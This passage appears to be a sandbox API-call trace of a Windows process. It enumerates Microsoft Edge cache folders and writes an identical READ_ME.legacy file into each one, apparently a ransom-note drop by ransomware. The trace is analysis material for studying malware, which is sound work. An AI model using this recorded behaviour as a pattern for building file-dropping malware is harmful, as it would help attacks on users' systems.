returned 0x5538b0 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0149.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0149.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.329] GetLastError () returned 0x0 [0149.329] SetLastError (dwErrCode=0x0) [0149.329] GetLastError () returned 0x0 [0149.329] SetLastError (dwErrCode=0x0) [0149.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0149.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0149.329] GetLastError () returned 0x0 [0149.329] SetLastError (dwErrCode=0x0) [0149.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x60a258 [0149.329] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_dntexception\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0149.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a258 | out: hHeap=0x520000) returned 1 [0149.330] WriteFile (in: hFile=0x7f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.331] CloseHandle (hObject=0x7f8) returned 1 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0149.331] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge_EmieSiteList", cAlternateFileName="MICFB7~1")) returned 1 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.331] GetLastError () returned 0x0 [0149.331] SetLastError (dwErrCode=0x0) [0149.331] GetLastError () returned 0x0 [0149.331] SetLastError (dwErrCode=0x0) [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.331] GetLastError () returned 0x0 [0149.331] SetLastError (dwErrCode=0x0) [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0149.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0149.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0149.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0149.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0149.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0149.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0149.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.332] GetLastError () returned 0x0 [0149.332] SetLastError (dwErrCode=0x0) [0149.332] GetLastError () returned 0x0 [0149.332] SetLastError (dwErrCode=0x0) [0149.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0149.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0149.332] GetLastError () returned 0x0 [0149.332] SetLastError (dwErrCode=0x0) [0149.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x609eb8 [0149.332] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0149.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609eb8 | out: hHeap=0x520000) returned 1 [0149.333] WriteFile (in: hFile=0x7f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.334] CloseHandle (hObject=0x7f8) returned 1 [0149.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0149.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0149.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0149.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0149.334] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge_EmieUserList", cAlternateFileName="MI15A7~1")) returned 1 [0149.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0149.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.334] GetLastError () returned 0x0 [0149.334] SetLastError (dwErrCode=0x0) [0149.334] GetLastError () returned 0x0 [0149.334] SetLastError (dwErrCode=0x0) [0149.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0149.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.334] GetLastError () returned 0x0 [0149.335] SetLastError (dwErrCode=0x0) [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0149.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610338 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0149.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.335] GetLastError () returned 0x0 [0149.335] SetLastError (dwErrCode=0x0) [0149.335] GetLastError () returned 0x0 [0149.335] SetLastError (dwErrCode=0x0) [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0149.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0149.335] GetLastError () returned 0x0 [0149.335] SetLastError (dwErrCode=0x0) [0149.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x60a510 [0149.335] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0149.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a510 | out: hHeap=0x520000) returned 1 [0149.336] WriteFile (in: hFile=0x7f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.337] CloseHandle (hObject=0x7f8) returned 1 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0149.337] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge_iecompat", cAlternateFileName="MICROS~1")) returned 1 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0149.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.337] GetLastError () returned 0x0 [0149.337] SetLastError (dwErrCode=0x0) [0149.337] GetLastError () returned 0x0 [0149.337] SetLastError (dwErrCode=0x0) [0149.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.337] GetLastError () returned 0x0 [0149.337] SetLastError (dwErrCode=0x0) [0149.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0149.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0149.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x60f1e0 [0149.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x60f578 [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0149.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0149.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0149.338] GetLastError () returned 0x0 [0149.338] SetLastError (dwErrCode=0x0) [0149.338] GetLastError () returned 0x0 [0149.338] SetLastError (dwErrCode=0x0) [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0149.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0149.338] GetLastError () returned 0x0 [0149.338] SetLastError (dwErrCode=0x0) [0149.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0149.338] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0149.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0149.340] WriteFile (in: hFile=0x7f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.341] CloseHandle (hObject=0x7f8) returned 1 [0149.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0149.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0149.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0149.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f578 | out: hHeap=0x520000) returned 1 [0149.342] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge_iecompatua", cAlternateFileName="MICROS~2")) returned 1 [0149.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0149.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.342] GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.342] GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0149.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0149.342] GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0149.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0149.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0149.343] GetLastError () returned 0x0 [0149.343] SetLastError (dwErrCode=0x0) [0149.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b8e0 [0149.343] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0149.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b8e0 | out: hHeap=0x520000) returned 1 [0149.343] WriteFile (in: hFile=0x7f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.344] CloseHandle (hObject=0x7f8) returned 1 [0149.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0149.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0149.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0149.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0149.344] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 1 [0149.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0149.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.345] GetLastError () returned 0x0 [0149.345] SetLastError (dwErrCode=0x0) [0149.345] GetLastError () returned 0x0 [0149.345] SetLastError (dwErrCode=0x0) [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0149.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.345] GetLastError () returned 0x0 [0149.345] SetLastError (dwErrCode=0x0) [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d640 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0149.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.345] GetLastError () returned 0x0 [0149.345] SetLastError (dwErrCode=0x0) [0149.345] GetLastError () returned 0x0 [0149.345] SetLastError (dwErrCode=0x0) [0149.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0149.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0149.346] GetLastError () returned 0x0 [0149.346] SetLastError (dwErrCode=0x0) [0149.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x609c00 [0149.346] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0149.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0149.346] WriteFile (in: hFile=0x7f8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.347] CloseHandle (hObject=0x7f8) returned 1 [0149.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0149.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 